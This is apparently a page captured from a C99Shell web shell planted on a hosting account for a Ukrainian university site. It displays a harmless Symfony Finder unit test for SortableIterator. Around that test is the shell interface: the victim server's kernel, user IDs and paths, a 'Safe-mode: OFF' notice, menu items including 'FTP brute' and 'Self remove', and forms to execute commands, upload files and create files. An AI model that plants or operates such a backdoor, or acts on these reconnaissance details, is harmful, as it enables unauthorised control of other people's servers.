!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/symfony/finder/Tests/Iterator/   drwxr-xr-x
Free 116.83 GB of 200.55 GB (58.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SortableIteratorTest.php (5.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Finder\Tests\Iterator;

use 
Symfony\Component\Finder\Iterator\SortableIterator;

class 
SortableIteratorTest extends RealIteratorTestCase
{
    public function 
testConstructor()
    {
        try {
            new 
SortableIterator(new Iterator(array()), 'foobar');
            
$this->fail('__construct() throws an \InvalidArgumentException exception if the mode is not valid');
        } catch (\
Exception $e) {
            
$this->assertInstanceOf('InvalidArgumentException'$e'__construct() throws an \InvalidArgumentException exception if the mode is not valid');
        }
    }

    
/**
     * @dataProvider getAcceptData
     */
    
public function testAccept($mode$expected)
    {
        if (!
is_callable($mode)) {
            switch (
$mode) {
                case 
SortableIterator::SORT_BY_ACCESSED_TIME :
                    if (
'\\' === DIRECTORY_SEPARATOR) {
                        
touch(self::toAbsolute('.git'));
                    } else {
                        
file_get_contents(self::toAbsolute('.git'));
                    }
                    
sleep(1);
                    
file_get_contents(self::toAbsolute('.bar'));
                    break;
                case 
SortableIterator::SORT_BY_CHANGED_TIME :
                    
file_put_contents(self::toAbsolute('test.php'), 'foo');
                    
sleep(1);
                    
file_put_contents(self::toAbsolute('test.py'), 'foo');
                    break;
                case 
SortableIterator::SORT_BY_MODIFIED_TIME :
                    
file_put_contents(self::toAbsolute('test.php'), 'foo');
                    
sleep(1);
                    
file_put_contents(self::toAbsolute('test.py'), 'foo');
                    break;
            }
        }

        
$inner = new Iterator(self::$files);

        
$iterator = new SortableIterator($inner$mode);

        if (
$mode === SortableIterator::SORT_BY_ACCESSED_TIME
            
|| $mode === SortableIterator::SORT_BY_CHANGED_TIME
            
|| $mode === SortableIterator::SORT_BY_MODIFIED_TIME
        
) {
            if (
'\\' === DIRECTORY_SEPARATOR && SortableIterator::SORT_BY_MODIFIED_TIME !== $mode) {
                
$this->markTestSkipped('Sorting by atime or ctime is not supported on Windows');
            }
            
$this->assertOrderedIteratorForGroups($expected$iterator);
        } else {
            
$this->assertOrderedIterator($expected$iterator);
        }
    }

    public function 
getAcceptData()
    {
        
$sortByName = array(
            
'.bar',
            
'.foo',
            
'.foo/.bar',
            
'.foo/bar',
            
'.git',
            
'foo',
            
'foo bar',
            
'foo/bar.tmp',
            
'test.php',
            
'test.py',
            
'toto',
            
'toto/.git',
        );

        
$sortByType = array(
            
'.foo',
            
'.git',
            
'foo',
            
'toto',
            
'toto/.git',
            
'.bar',
            
'.foo/.bar',
            
'.foo/bar',
            
'foo bar',
            
'foo/bar.tmp',
            
'test.php',
            
'test.py',
        );

        
$customComparison = array(
            
'.bar',
            
'.foo',
            
'.foo/.bar',
            
'.foo/bar',
            
'.git',
            
'foo',
            
'foo bar',
            
'foo/bar.tmp',
            
'test.php',
            
'test.py',
            
'toto',
            
'toto/.git',
        );

        
$sortByAccessedTime = array(
            
// For these two files the access time was set to 2005-10-15
            
array('foo/bar.tmp''test.php'),
            
// These files were created more or less at the same time
            
array(
                
'.git',
                
'.foo',
                
'.foo/.bar',
                
'.foo/bar',
                
'test.py',
                
'foo',
                
'toto',
                
'toto/.git',
                
'foo bar',
            ),
            
// This file was accessed after sleeping for 1 sec
            
array('.bar'),
        );

        
$sortByChangedTime = array(
            array(
                
'.git',
                
'.foo',
                
'.foo/.bar',
                
'.foo/bar',
                
'.bar',
                
'foo',
                
'foo/bar.tmp',
                
'toto',
                
'toto/.git',
                
'foo bar',
            ),
            array(
'test.php'),
            array(
'test.py'),
        );

        
$sortByModifiedTime = array(
            array(
                
'.git',
                
'.foo',
                
'.foo/.bar',
                
'.foo/bar',
                
'.bar',
                
'foo',
                
'foo/bar.tmp',
                
'toto',
                
'toto/.git',
                
'foo bar',
            ),
            array(
'test.php'),
            array(
'test.py'),
        );

        return array(
            array(
SortableIterator::SORT_BY_NAME$this->toAbsolute($sortByName)),
            array(
SortableIterator::SORT_BY_TYPE$this->toAbsolute($sortByType)),
            array(
SortableIterator::SORT_BY_ACCESSED_TIME$this->toAbsolute($sortByAccessedTime)),
            array(
SortableIterator::SORT_BY_CHANGED_TIME$this->toAbsolute($sortByChangedTime)),
            array(
SortableIterator::SORT_BY_MODIFIED_TIME$this->toAbsolute($sortByModifiedTime)),
            array(function (\
SplFileInfo $a, \SplFileInfo $b) { return strcmp($a->getRealPath(), $b->getRealPath()); }, $this->toAbsolute($customComparison)),
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0126 ]--